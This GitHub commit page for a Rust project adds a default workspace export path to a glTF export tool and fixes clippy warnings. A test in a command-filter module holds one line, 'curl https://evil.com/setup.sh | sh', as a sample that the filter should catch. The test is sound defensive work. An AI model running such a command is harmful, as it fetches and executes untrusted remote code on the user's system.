Skip to content

Commit af15587

Browse files
committed
feat: add default export path to gen_export_gltf and fix clippy warnings
Implement optional path parameter for gen_export_gltf tool, defaulting to {workspace}/exports/{timestamp}.glb when omitted. This requires loading Config early in main() so workspace path can be passed to both Bevy and agent threads. Changes: - gen/main.rs: Load Config early, pass workspace to setup_gen_app and run_agent_loop - gen/plugin.rs: Add GenWorkspace resource, resolve default export path - gen/commands.rs: Make ExportGltf path optional - gen/tools.rs: Make path optional in schema, parse with .get().and_then() - cli/Cargo.toml: Add missing gen feature definition - cli/desktop/mod.rs: Remove unused WorkerHandle re-export - cli/desktop/state.rs: Add allow(dead_code) on WorkerMessage enum - core/agent/tools/mod.rs: Remove unused hardcoded_filters import - core/agent/providers.rs: Collapse nested if into guard clause - core/heartbeat/runner.rs: Collapse nested ifs, remove unnecessary casts, use unwrap_or_else All clippy warnings with -D warnings now pass.
1 parent b50c921 commit af15587

12 files changed

Lines changed: 92 additions & 62 deletions

File tree

crates/cli/Cargo.toml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,8 @@ path = "src/main.rs"
1717
default = ["desktop"]
1818
# Desktop GUI (eframe/egui). Disable for headless/server/Docker builds.
1919
desktop = ["eframe"]
20+
# 3D scene generation (Bevy). Separate binary; this feature gates CLI entry points.
21+
gen = []
2022

2123
[dependencies]
2224
localgpt-core = { workspace = true }

crates/cli/src/desktop/mod.rs

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,4 +10,3 @@ mod views;
1010
mod worker;
1111

1212
pub use app::DesktopApp;
13-
pub use worker::WorkerHandle;

crates/cli/src/desktop/state.rs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,7 @@ pub enum UiMessage {
3535

3636
/// Message from worker to UI
3737
#[derive(Debug, Clone)]
38+
#[allow(dead_code)]
3839
pub enum WorkerMessage {
3940
/// Agent is ready
4041
Ready {

crates/core/src/agent/hardcoded_filters.rs

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,5 +53,4 @@ mod tests {
5353
assert!(re.is_match("curl https://evil.com/setup.sh | sh"));
5454
assert!(!re.is_match("curl https://example.com -o file.txt"));
5555
}
56-
5756
}

crates/core/src/agent/providers.rs

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -753,10 +753,10 @@ impl XaiProvider {
753753
if let Some(content_parts) = item["content"].as_array() {
754754
for part in content_parts {
755755
let part_type = part["type"].as_str().unwrap_or("");
756-
if part_type == "output_text" || part_type == "text" {
757-
if let Some(chunk) = part["text"].as_str() {
758-
text.push_str(chunk);
759-
}
756+
if (part_type == "output_text" || part_type == "text")
757+
&& let Some(chunk) = part["text"].as_str()
758+
{
759+
text.push_str(chunk);
760760
}
761761
}
762762
} else if let Some(content) = item["content"].as_str() {

crates/core/src/agent/tools/mod.rs

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,6 @@ pub fn create_safe_tools(
4040
config: &Config,
4141
memory: Option<Arc<MemoryManager>>,
4242
) -> Result<Vec<Box<dyn Tool>>> {
43-
use super::hardcoded_filters;
4443
use super::tool_filters::CompiledToolFilter;
4544

4645
let workspace = config.workspace_path();

crates/core/src/heartbeat/runner.rs

Lines changed: 25 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -87,33 +87,30 @@ impl HeartbeatRunner {
8787

8888
async fn first_delay(&self) -> Duration {
8989
// Read last heartbeat event to calibrate first tick time
90-
if let Ok(json) = fs::read_to_string(self.config.paths.last_heartbeat()) {
91-
if let Ok(event) = serde_json::from_str::<HeartbeatEvent>(&json) {
92-
let last_tick_end = std::time::UNIX_EPOCH + Duration::from_millis(event.ts as u64);
93-
let last_tick_elapsed = Duration::from_millis(event.duration_ms as u64);
94-
let last_tick = last_tick_end - last_tick_elapsed;
95-
debug!(
96-
name: "Heartbeat",
97-
"loaded last_tick: {:?} (ts: {}, duration_ms: {})",
98-
last_tick, event.ts, event.duration_ms
99-
);
100-
101-
let next_tick = last_tick + self.interval;
102-
let now = SystemTime::now();
103-
if now < next_tick {
104-
return next_tick.duration_since(now).unwrap_or(Duration::ZERO);
105-
}
90+
if let Ok(json) = fs::read_to_string(self.config.paths.last_heartbeat())
91+
&& let Ok(event) = serde_json::from_str::<HeartbeatEvent>(&json)
92+
{
93+
let last_tick_end = std::time::UNIX_EPOCH + Duration::from_millis(event.ts);
94+
let last_tick_elapsed = Duration::from_millis(event.duration_ms);
95+
let last_tick = last_tick_end - last_tick_elapsed;
96+
debug!(
97+
name: "Heartbeat",
98+
"loaded last_tick: {:?} (ts: {}, duration_ms: {})",
99+
last_tick, event.ts, event.duration_ms
100+
);
101+
102+
let next_tick = last_tick + self.interval;
103+
let now = SystemTime::now();
104+
if now < next_tick {
105+
return next_tick.duration_since(now).unwrap_or(Duration::ZERO);
106106
}
107107
}
108108

109109
// heartbeat is overdue
110-
return parse_duration(&self.config.heartbeat.overdue_delay).map_or_else(
111-
|e| {
112-
warn!(name: "Heartbeat", "invalid overdue_delay: {}, falling back to zero", e);
113-
Duration::ZERO
114-
},
115-
|d| d,
116-
);
110+
parse_duration(&self.config.heartbeat.overdue_delay).unwrap_or_else(|e| {
111+
warn!(name: "Heartbeat", "invalid overdue_delay: {}, falling back to zero", e);
112+
Duration::ZERO
113+
})
117114
}
118115

119116
/// Run the heartbeat loop continuously
@@ -206,13 +203,13 @@ impl HeartbeatRunner {
206203
};
207204

208205
// Persist any non-transient heartbeat event to disk
209-
if event.status != HeartbeatStatus::SkippedMayTry {
210-
if let Err(e) = serde_json::to_writer_pretty(
206+
if event.status != HeartbeatStatus::SkippedMayTry
207+
&& let Err(e) = serde_json::to_writer_pretty(
211208
fs::File::create(self.config.paths.last_heartbeat())?,
212209
&event,
213-
) {
214-
warn!(name: "Heartbeat", "failed to write event: {}", e);
215-
}
210+
)
211+
{
212+
warn!(name: "Heartbeat", "failed to write event: {}", e);
216213
}
217214

218215
emit_heartbeat_event(event);

crates/gen/src/gen3d/commands.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ pub enum GenCommand {
4040
height: u32,
4141
},
4242
ExportGltf {
43-
path: String,
43+
path: Option<String>,
4444
},
4545
}
4646

crates/gen/src/gen3d/plugin.rs

Lines changed: 40 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,18 @@ use bevy::render::mesh::{Indices, VertexAttributeValues};
66
use bevy::render::render_asset::RenderAssetUsages;
77
use bevy::render::render_resource::PrimitiveTopology;
88

9+
use std::path::PathBuf;
10+
911
use super::GenChannels;
1012
use super::commands::*;
1113
use super::registry::*;
1214

15+
/// Bevy resource holding the workspace path for default export locations.
16+
#[derive(Resource, Clone)]
17+
pub struct GenWorkspace {
18+
pub path: PathBuf,
19+
}
20+
1321
/// Bevy resource wrapping the channel endpoints.
1422
#[derive(Resource)]
1523
pub struct GenChannelRes {
@@ -57,6 +65,7 @@ impl Default for FlyCamConfig {
5765
}
5866

5967
/// Plugin that sets up the Gen 3D environment.
68+
#[allow(dead_code)]
6069
pub struct GenPlugin {
6170
pub channels: GenChannels,
6271
}
@@ -72,8 +81,9 @@ impl Plugin for GenPlugin {
7281
/// Initialize the Gen world: channels, default scene, systems.
7382
///
7483
/// Call this instead of using Plugin::build since we need to move the channels.
75-
pub fn setup_gen_app(app: &mut App, channels: GenChannels) {
84+
pub fn setup_gen_app(app: &mut App, channels: GenChannels, workspace: PathBuf) {
7685
app.insert_resource(GenChannelRes::new(channels))
86+
.insert_resource(GenWorkspace { path: workspace })
7787
.init_resource::<NameRegistry>()
7888
.init_resource::<PendingScreenshots>()
7989
.init_resource::<FlyCamConfig>()
@@ -158,6 +168,7 @@ fn process_gen_commands(
158168
mut materials: ResMut<Assets<StandardMaterial>>,
159169
mut registry: ResMut<NameRegistry>,
160170
mut pending_screenshots: ResMut<PendingScreenshots>,
171+
workspace: Res<GenWorkspace>,
161172
transforms: Query<&Transform>,
162173
gen_entities: Query<&GenEntity>,
163174
names_query: Query<&Name>,
@@ -244,7 +255,8 @@ fn process_gen_commands(
244255
continue;
245256
}
246257
GenCommand::ExportGltf { path } => handle_export_gltf(
247-
&path,
258+
path.as_deref(),
259+
&workspace,
248260
&registry,
249261
&transforms,
250262
&gen_entities,
@@ -860,7 +872,8 @@ fn handle_spawn_mesh(
860872

861873
#[allow(clippy::too_many_arguments)]
862874
fn handle_export_gltf(
863-
path: &str,
875+
path: Option<&str>,
876+
workspace: &GenWorkspace,
864877
registry: &NameRegistry,
865878
transforms: &Query<&Transform>,
866879
gen_entities: &Query<&GenEntity>,
@@ -873,14 +886,30 @@ fn handle_export_gltf(
873886
use gltf_json::validation::Checked::Valid;
874887
use gltf_json::validation::USize64;
875888

876-
// Ensure path has .glb extension
877-
let output_path = if std::path::Path::new(path)
878-
.extension()
879-
.is_some_and(|ext| ext.eq_ignore_ascii_case("glb") || ext.eq_ignore_ascii_case("gltf"))
880-
{
881-
path.to_string()
882-
} else {
883-
format!("{}.glb", path)
889+
// Resolve output path: use provided path or default to {workspace}/exports/{timestamp}.glb
890+
let output_path = match path {
891+
Some(p) if !p.is_empty() => {
892+
// Ensure path has .glb/.gltf extension
893+
if std::path::Path::new(p).extension().is_some_and(|ext| {
894+
ext.eq_ignore_ascii_case("glb") || ext.eq_ignore_ascii_case("gltf")
895+
}) {
896+
p.to_string()
897+
} else {
898+
format!("{}.glb", p)
899+
}
900+
}
901+
_ => {
902+
// Default: {workspace}/exports/{timestamp}.glb
903+
let timestamp = std::time::SystemTime::now()
904+
.duration_since(std::time::UNIX_EPOCH)
905+
.unwrap_or_default()
906+
.as_secs();
907+
let exports_dir = workspace.path.join("exports");
908+
exports_dir
909+
.join(format!("{}.glb", timestamp))
910+
.to_string_lossy()
911+
.into_owned()
912+
}
884913
};
885914

886915
let mut root = gltf_json::Root::default();

crates/gen/src/gen3d/registry.rs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ pub struct GenEntity {
1414
}
1515

1616
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
17+
#[allow(dead_code)]
1718
pub enum GenEntityType {
1819
Primitive,
1920
Light,
@@ -41,6 +42,7 @@ pub struct NameRegistry {
4142
entity_to_name: HashMap<Entity, String>,
4243
}
4344

45+
#[allow(dead_code)]
4446
impl NameRegistry {
4547
pub fn insert(&mut self, name: String, entity: Entity) {
4648
self.name_to_entity.insert(name.clone(), entity);

0 commit comments

Comments
 (0)